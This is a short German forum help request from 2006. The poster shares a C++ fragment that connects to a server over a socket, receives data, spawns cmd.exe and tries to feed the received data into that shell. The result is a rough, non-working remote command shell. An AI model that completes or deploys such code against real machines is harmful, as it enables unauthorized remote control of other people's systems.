009
06.02.2006, 22:50 Uhr
Kabel
|
Echt? Naja ich hatte 5 minuten später probiert, naja werd nach diesem Beitrag nochamls versuchen.
Na wenn ich schon einen Beitrg schribe dann noch ne Frag, sry...
also hier mal mein Code:
C++: |
send(W_IP,"C",1,0); //Envoi d'un octet en tant que test cout<<"[+]Verbindung steht"<<endl; AllocConsole(); //------------------------------------------------INPUT HANDLE hIn; hIn = GetStdHandle(STD_INPUT_HANDLE); if (hIn != INVALID_HANDLE_VALUE) { bool y=TRUE; while(y) { cout<<"Reception : "; recv(W_IP, Buffer, sizeof(Buffer), 0); //mitteilungen vom server DWORD k;
///////////////////////////////test OK STARTUPINFO si = { sizeof(si) }; PROCESS_INFORMATION pi; char szExe[] = "cmd.exe";
if(CreateProcess(0, szExe, 0, 0, FALSE, 0, 0, 0, &si, &pi)) { WriteFile (hIn,Buffer,1024,&k,NULL); }
|
So sieht mein Programm jetzt aus, also nach der VErbindung des Sockets... Flo-Soft meinte ich soll WriteFile benutzen um in die neue Shell zu schreiben. Ich möchte nun gerne den buffer in form von
in diese Shell schreiben, aber irgendwie will das wieder nicht... was mach ich da Falsch? ISt writefile richtig? Oder ist es WriteConsole was ich benutzen soll?
Bin sehr dankbar für die Hilfe bisher, mfg Kabel |